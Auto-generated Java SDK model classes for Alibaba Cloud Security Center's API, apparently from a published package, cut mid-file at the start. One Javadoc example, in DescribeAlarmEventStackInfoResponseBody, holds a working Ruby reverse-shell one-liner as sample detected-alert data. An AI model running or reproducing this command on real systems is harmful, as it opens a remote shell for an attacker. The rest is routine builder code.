@com.aliyun.core.annotation.NameInMap("StackInfo")
private String stackInfo;
private DescribeAlarmEventStackInfoResponseBody(Builder builder) {
this.requestId = builder.requestId;
this.stackInfo = builder.stackInfo;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAlarmEventStackInfoResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
/**
* @return stackInfo
*/
public String getStackInfo() {
return this.stackInfo;
}
public static final class Builder {
private String requestId;
private String stackInfo;
private Builder() {
}
private Builder(DescribeAlarmEventStackInfoResponseBody model) {
this.requestId = model.requestId;
this.stackInfo = model.stackInfo;
}
/**
* <p>The ID of the request.</p>
*
* <strong>example:</strong>
* <p>ECC6B3E3-D496-512D-B46D-E6996A6B63EE</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
/**
* <p>The stack information of the alert details.</p>
*
* <strong>example:</strong>
* <p>[ { "child": [ { "child": [ { "child": [ ], "data": { "cmdline": "id", "proc_path": "/bin/id", "pid": "[3033]" }, "description": { "extend": [ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } }, { "child": [ ], "data": { "cmdline": "whoami", "proc_path": "/bin/whoami", "pid": "[3035]" }, "description": { "extend": [ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ], "data": { "cmdline": "/bin/bash -c "id && whoami"", "proc_path": "/bin/bash", "pid": "[3022]" }, "description": { "extend": [ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ], "data": { "src_ip": "0.0.0.0", "cmdline": "ruby -rsocket -e exit if fork;c=TCPSocket.new(\"0.0.0.0\",\"1111\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end", "file": "ruby", "login_port": "22", "login_type": "Password", "proc_path": "/usr/bin/ruby", "dst_port": "1111", "pid": "3011", "user": "root", "dst_ip": "0.0.0.0", "log_time": "2020-01-20 09:00:00" }, "description": { "extend": [ { "content": "${tpl_netstat}", "content_type": "text" } ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ]</p>
*/
public Builder stackInfo(String stackInfo) {
this.stackInfo = stackInfo;
return this;
}
public DescribeAlarmEventStackInfoResponseBody build() {
return new DescribeAlarmEventStackInfoResponseBody(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAllEntityRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAllEntityRequest} extends {@link RequestModel}
*
* <p>DescribeAllEntityRequest</p>
*/
public class DescribeAllEntityRequest extends Request {
private DescribeAllEntityRequest(Builder builder) {
super(builder);
}
public static Builder builder() {
return new Builder();
}
public static DescribeAllEntityRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
public static final class Builder extends Request.Builder<DescribeAllEntityRequest, Builder> {
private Builder() {
super();
}
private Builder(DescribeAllEntityRequest request) {
super(request);
}
@Override
public DescribeAllEntityRequest build() {
return new DescribeAllEntityRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAllEntityResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAllEntityResponse} extends {@link TeaModel}
*
* <p>DescribeAllEntityResponse</p>
*/
public class DescribeAllEntityResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAllEntityResponseBody body;
private DescribeAllEntityResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAllEntityResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAllEntityResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAllEntityResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAllEntityResponseBody body);
@Override
DescribeAllEntityResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAllEntityResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAllEntityResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAllEntityResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAllEntityResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAllEntityResponse build() {
return new DescribeAllEntityResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAllEntityResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAllEntityResponseBody} extends {@link TeaModel}
*
* <p>DescribeAllEntityResponseBody</p>
*/
public class DescribeAllEntityResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("EntityList")
private java.util.List<EntityList> entityList;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAllEntityResponseBody(Builder builder) {
this.entityList = builder.entityList;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAllEntityResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return entityList
*/
public java.util.List<EntityList> getEntityList() {
return this.entityList;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private java.util.List<EntityList> entityList;
private String requestId;
private Builder() {
}
private Builder(DescribeAllEntityResponseBody model) {
this.entityList = model.entityList;
this.requestId = model.requestId;
}
/**
* <p>An array that consists of servers.</p>
*/
public Builder entityList(java.util.List<EntityList> entityList) {
this.entityList = entityList;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>7E0618A9-D5EF-4220-9471-C42B5E92719F</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAllEntityResponseBody build() {
return new DescribeAllEntityResponseBody(this);
}
}
/**
*
* {@link DescribeAllEntityResponseBody} extends {@link TeaModel}
*
* <p>DescribeAllEntityResponseBody</p>
*/
public static class EntityList extends TeaModel {
@com.aliyun.core.annotation.NameInMap("GroupId")
private Integer groupId;
@com.aliyun.core.annotation.NameInMap("InstanceName")
private String instanceName;
@com.aliyun.core.annotation.NameInMap("InternetIp")
private String internetIp;
@com.aliyun.core.annotation.NameInMap("IntranetIp")
private String intranetIp;
@com.aliyun.core.annotation.NameInMap("Ip")
private String ip;
@com.aliyun.core.annotation.NameInMap("Os")
private String os;
@com.aliyun.core.annotation.NameInMap("Uuid")
private String uuid;
private EntityList(Builder builder) {
this.groupId = builder.groupId;
this.instanceName = builder.instanceName;
this.internetIp = builder.internetIp;
this.intranetIp = builder.intranetIp;
this.ip = builder.ip;
this.os = builder.os;
this.uuid = builder.uuid;
}
public static Builder builder() {
return new Builder();
}
public static EntityList create() {
return builder().build();
}
/**
* @return groupId
*/
public Integer getGroupId() {
return this.groupId;
}
/**
* @return instanceName
*/
public String getInstanceName() {
return this.instanceName;
}
/**
* @return internetIp
*/
public String getInternetIp() {
return this.internetIp;
}
/**
* @return intranetIp
*/
public String getIntranetIp() {
return this.intranetIp;
}
/**
* @return ip
*/
public String getIp() {
return this.ip;
}
/**
* @return os
*/
public String getOs() {
return this.os;
}
/**
* @return uuid
*/
public String getUuid() {
return this.uuid;
}
public static final class Builder {
private Integer groupId;
private String instanceName;
private String internetIp;
private String intranetIp;
private String ip;
private String os;
private String uuid;
private Builder() {
}
private Builder(EntityList model) {
this.groupId = model.groupId;
this.instanceName = model.instanceName;
this.internetIp = model.internetIp;
this.intranetIp = model.intranetIp;
this.ip = model.ip;
this.os = model.os;
this.uuid = model.uuid;
}
/**
* <p>The ID of the asset group.</p>
*
* <strong>example:</strong>
* <p>281801</p>
*/
public Builder groupId(Integer groupId) {
this.groupId = groupId;
return this;
}
/**
* <p>The name of the server.</p>
*
* <strong>example:</strong>
* <p>abc</p>
*/
public Builder instanceName(String instanceName) {
this.instanceName = instanceName;
return this;
}
/**
* <p>The public IP address of the server.</p>
*
* <strong>example:</strong>
* <p>172.19.XX.XX</p>
*/
public Builder internetIp(String internetIp) {
this.internetIp = internetIp;
return this;
}
/**
* <p>The private IP address of the server.</p>
*
* <strong>example:</strong>
* <p>100.104.XX.XX</p>
*/
public Builder intranetIp(String intranetIp) {
this.intranetIp = intranetIp;
return this;
}
/**
* <p>The IP address of the server.</p>
*
* <strong>example:</strong>
* <p>101.132.XX.XX</p>
*/
public Builder ip(String ip) {
this.ip = ip;
return this;
}
/**
* <p>The operating system of the server. Valid values:</p>
* <ul>
* <li><strong>linux</strong></li>
* <li><strong>windows</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>windows</p>
*/
public Builder os(String os) {
this.os = os;
return this;
}
/**
* <p>The UUID of the server.</p>
*
* <strong>example:</strong>
* <p>4fe8e1cd-3c37-4851-b9de-124da32c****</p>
*/
public Builder uuid(String uuid) {
this.uuid = uuid;
return this;
}
public EntityList build() {
return new EntityList(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAllGroupsRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAllGroupsRequest} extends {@link RequestModel}
*
* <p>DescribeAllGroupsRequest</p>
*/
public class DescribeAllGroupsRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Lang")
private String lang;
private DescribeAllGroupsRequest(Builder builder) {
super(builder);
this.lang = builder.lang;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAllGroupsRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return lang
*/
public String getLang() {
return this.lang;
}
public static final class Builder extends Request.Builder<DescribeAllGroupsRequest, Builder> {
private String lang;
private Builder() {
super();
}
private Builder(DescribeAllGroupsRequest request) {
super(request);
this.lang = request.lang;
}
/**
* <p>The natural language of the request and response. Valid values:</p>
* <ul>
* <li><strong>zh</strong>: Chinese</li>
* <li><strong>en</strong>: English</li>
* </ul>
*
* <strong>example:</strong>
* <p>zh</p>
*/
public Builder lang(String lang) {
this.putQueryParameter("Lang", lang);
this.lang = lang;
return this;
}
@Override
public DescribeAllGroupsRequest build() {
return new DescribeAllGroupsRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAllGroupsResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAllGroupsResponse} extends {@link TeaModel}
*
* <p>DescribeAllGroupsResponse</p>
*/
public class DescribeAllGroupsResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAllGroupsResponseBody body;
private DescribeAllGroupsResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAllGroupsResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAllGroupsResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAllGroupsResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAllGroupsResponseBody body);
@Override
DescribeAllGroupsResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAllGroupsResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAllGroupsResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAllGroupsResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAllGroupsResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAllGroupsResponse build() {
return new DescribeAllGroupsResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAllGroupsResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAllGroupsResponseBody} extends {@link TeaModel}
*
* <p>DescribeAllGroupsResponseBody</p>
*/
public class DescribeAllGroupsResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Count")
private Integer count;
@com.aliyun.core.annotation.NameInMap("Groups")
private java.util.List<Groups> groups;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAllGroupsResponseBody(Builder builder) {
this.count = builder.count;
this.groups = builder.groups;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAllGroupsResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return count
*/
public Integer getCount() {
return this.count;
}
/**
* @return groups
*/
public java.util.List<Groups> getGroups() {
return this.groups;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private Integer count;
private java.util.List<Groups> groups;
private String requestId;
private Builder() {
}
private Builder(DescribeAllGroupsResponseBody model) {
this.count = model.count;
this.groups = model.groups;
this.requestId = model.requestId;
}
/**
* <p>The total number of server groups.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder count(Integer count) {
this.count = count;
return this;
}
/**
* <p>The grouping information about the servers.</p>
*/
public Builder groups(java.util.List<Groups> groups) {
this.groups = groups;
return this;
}
/**
* <p>The ID of the request.</p>
*
* <strong>example:</strong>
* <p>7E0618A9-D5EF-4220-9471-C42B5E92719F</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAllGroupsResponseBody build() {
return new DescribeAllGroupsResponseBody(this);
}
}
/**
*
* {@link DescribeAllGroupsResponseBody} extends {@link TeaModel}
*
* <p>DescribeAllGroupsResponseBody</p>
*/
public static class Groups extends TeaModel {
@com.aliyun.core.annotation.NameInMap("GroupFlag")
private Integer groupFlag;
@com.aliyun.core.annotation.NameInMap("GroupId")
private Integer groupId;
@com.aliyun.core.annotation.NameInMap("GroupName")
private String groupName;
private Groups(Builder builder) {
this.groupFlag = builder.groupFlag;
this.groupId = builder.groupId;
this.groupName = builder.groupName;
}
public static Builder builder() {
return new Builder();
}
public static Groups create() {
return builder().build();
}
/**
* @return groupFlag
*/
public Integer getGroupFlag() {
return this.groupFlag;
}
/**
* @return groupId
*/
public Integer getGroupId() {
return this.groupId;
}
/**
* @return groupName
*/
public String getGroupName() {
return this.groupName;
}
public static final class Builder {
private Integer groupFlag;
private Integer groupId;
private String groupName;
private Builder() {
}
private Builder(Groups model) {
this.groupFlag = model.groupFlag;
this.groupId = model.groupId;
this.groupName = model.groupName;
}
/**
* <p>The type of the server group. Valid values:</p>
* <ul>
* <li><strong>0</strong>: default group</li>
* <li><strong>1</strong>: other groups</li>
* </ul>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder groupFlag(Integer groupFlag) {
this.groupFlag = groupFlag;
return this;
}
/**
* <p>The ID of the server group.</p>
*
* <strong>example:</strong>
* <p>8834224</p>
*/
public Builder groupId(Integer groupId) {
this.groupId = groupId;
return this;
}
/**
* <p>The name of the server group.</p>
*
* <strong>example:</strong>
* <p>abc</p>
*/
public Builder groupName(String groupName) {
this.groupName = groupName;
return this;
}
public Groups build() {
return new Groups(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAllImageBaselineRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAllImageBaselineRequest} extends {@link RequestModel}
*
* <p>DescribeAllImageBaselineRequest</p>
*/
public class DescribeAllImageBaselineRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Lang")
private String lang;
private DescribeAllImageBaselineRequest(Builder builder) {
super(builder);
this.lang = builder.lang;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAllImageBaselineRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return lang
*/
public String getLang() {
return this.lang;
}
public static final class Builder extends Request.Builder<DescribeAllImageBaselineRequest, Builder> {
private String lang;
private Builder() {
super();
}
private Builder(DescribeAllImageBaselineRequest request) {
super(request);
this.lang = request.lang;
}
/**
* <p>The language of the content within the request and response. Default value: <strong>zh</strong>. Valid values:</p>
* <ul>
* <li><strong>zh</strong>: Chinese</li>
* <li><strong>en</strong>: English</li>
* </ul>
*
* <strong>example:</strong>
* <p>zh</p>
*/
public Builder lang(String lang) {
this.putQueryParameter("Lang", lang);
this.lang = lang;
return this;
}
@Override
public DescribeAllImageBaselineRequest build() {
return new DescribeAllImageBaselineRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAllImageBaselineResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAllImageBaselineResponse} extends {@link TeaModel}
*
* <p>DescribeAllImageBaselineResponse</p>
*/
public class DescribeAllImageBaselineResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAllImageBaselineResponseBody body;
private DescribeAllImageBaselineResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAllImageBaselineResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAllImageBaselineResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAllImageBaselineResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAllImageBaselineResponseBody body);
@Override
DescribeAllImageBaselineResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAllImageBaselineResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAllImageBaselineResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAllImageBaselineResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAllImageBaselineResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAllImageBaselineResponse build() {
return new DescribeAllImageBaselineResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAllImageBaselineResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAllImageBaselineResponseBody} extends {@link TeaModel}
*
* <p>DescribeAllImageBaselineResponseBody</p>
*/
public class DescribeAllImageBaselineResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("ImageBaselines")
private ImageBaselines imageBaselines;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAllImageBaselineResponseBody(Builder builder) {
this.imageBaselines = builder.imageBaselines;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAllImageBaselineResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return imageBaselines
*/
public ImageBaselines getImageBaselines() {
return this.imageBaselines;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private ImageBaselines imageBaselines;
private String requestId;
private Builder() {
}
private Builder(DescribeAllImageBaselineResponseBody model) {
this.imageBaselines = model.imageBaselines;
this.requestId = model.requestId;
}
/**
* <p>The baselines that are used in image baseline checks.</p>
*/
public Builder imageBaselines(ImageBaselines imageBaselines) {
this.imageBaselines = imageBaselines;
return this;
}
/**
* <p>The ID of the request, which is used to query logs and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>1A975D03-5F49-5354-B2CB-3918D5DA****</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAllImageBaselineResponseBody build() {
return new DescribeAllImageBaselineResponseBody(this);
}
}
/**
*
* {@link DescribeAllImageBaselineResponseBody} extends {@link TeaModel}
*
* <p>DescribeAllImageBaselineResponseBody</p>
*/
public static class BaselineItemList extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Alias")
private String alias;
@com.aliyun.core.annotation.NameInMap("ClassKey")
private String classKey;
@com.aliyun.core.annotation.NameInMap("ItemKey")
private String itemKey;
@com.aliyun.core.annotation.NameInMap("NameKey")
private String nameKey;
private BaselineItemList(Builder builder) {
this.alias = builder.alias;
this.classKey = builder.classKey;
this.itemKey = builder.itemKey;
this.nameKey = builder.nameKey;
}
public static Builder builder() {
return new Builder();
}
public static BaselineItemList create() {
return builder().build();
}
/**
* @return alias
*/
public String getAlias() {
return this.alias;
}
/**
* @return classKey
*/
public String getClassKey() {
return this.classKey;
}
/**
* @return itemKey
*/
public String getItemKey() {
return this.itemKey;
}
/**
* @return nameKey
*/
public String getNameKey() {
return this.nameKey;
}
public static final class Builder {
private String alias;
private String classKey;
private String itemKey;
private String nameKey;
private Builder() {
}
private Builder(BaselineItemList model) {
this.alias = model.alias;
this.classKey = model.classKey;
this.itemKey = model.itemKey;
this.nameKey = model.nameKey;
}
/**
* <p>The alias of the baseline check item.</p>
*
* <strong>example:</strong>
* <p>Ensure that no accounts use the same Hash password.</p>
*/
public Builder alias(String alias) {
this.alias = alias;
return this;
}
/**
* <p>The key of the type for the baseline.</p>
*
* <strong>example:</strong>
* <p>identification</p>
*/
public Builder classKey(String classKey) {
this.classKey = classKey;
return this;
}
/**
* <p>The key of the name for the baseline check item.</p>
*
* <strong>example:</strong>
* <p>duplicate_pwd_hash</p>
*/
public Builder itemKey(String itemKey) {
this.itemKey = itemKey;
return this;
}
/**
* <p>The key of the name for the baseline.</p>
*
* <strong>example:</strong>
* <p>identification</p>
*/
public Builder nameKey(String nameKey) {
this.nameKey = nameKey;
return this;
}
public BaselineItemList build() {
return new BaselineItemList(this);
}
}
}
/**
*
* {@link DescribeAllImageBaselineResponseBody} extends {@link TeaModel}
*
* <p>DescribeAllImageBaselineResponseBody</p>
*/
public static class BaselineNameList extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Alias")
private String alias;
@com.aliyun.core.annotation.NameInMap("BaselineItemList")
private java.util.List<BaselineItemList> baselineItemList;
@com.aliyun.core.annotation.NameInMap("ClassKey")
private String classKey;
@com.aliyun.core.annotation.NameInMap("NameKey")
private String nameKey;
private BaselineNameList(Builder builder) {
this.alias = builder.alias;
this.baselineItemList = builder.baselineItemList;
this.classKey = builder.classKey;
this.nameKey = builder.nameKey;
}
public static Builder builder() {
return new Builder();
}
public static BaselineNameList create() {
return builder().build();
}
/**
* @return alias
*/
public String getAlias() {
return this.alias;
}
/**
* @return baselineItemList
*/
public java.util.List<BaselineItemList> getBaselineItemList() {
return this.baselineItemList;
}
/**
* @return classKey
*/
public String getClassKey() {
return this.classKey;
}
/**
* @return nameKey
*/
public String getNameKey() {
return this.nameKey;
}
public static final class Builder {
private String alias;
private java.util.List<BaselineItemList> baselineItemList;
private String classKey;
private String nameKey;
private Builder() {
}
private Builder(BaselineNameList model) {
this.alias = model.alias;
this.baselineItemList = model.baselineItemList;
this.classKey = model.classKey;
this.nameKey = model.nameKey;
}
/**
* <p>The alias of the baseline.</p>
*
* <strong>example:</strong>
* <p>Identity authentication</p>
*/
public Builder alias(String alias) {
this.alias = alias;
return this;
}
/**
* <p>The information about the baseline check item.</p>
*/
public Builder baselineItemList(java.util.List<BaselineItemList> baselineItemList) {
this.baselineItemList = baselineItemList;
return this;
}
/**
* <p>The key of the type for the baseline.</p>
*
* <strong>example:</strong>
* <p>identification</p>
*/
public Builder classKey(String classKey) {
this.classKey = classKey;
return this;
}
/**
* <p>The key of the name for the baseline.</p>
*
* <strong>example:</strong>
* <p>identification</p>
*/
public Builder nameKey(String nameKey) {
this.nameKey = nameKey;
return this;
}
public BaselineNameList build() {
return new BaselineNameList(this);
}
}
}
/**
*
* {@link DescribeAllImageBaselineResponseBody} extends {@link TeaModel}
*
* <p>DescribeAllImageBaselineResponseBody</p>
*/
public static class BaselineClassList extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Alias")
private String alias;
@com.aliyun.core.annotation.NameInMap("BaselineNameList")
private java.util.List<BaselineNameList> baselineNameList;
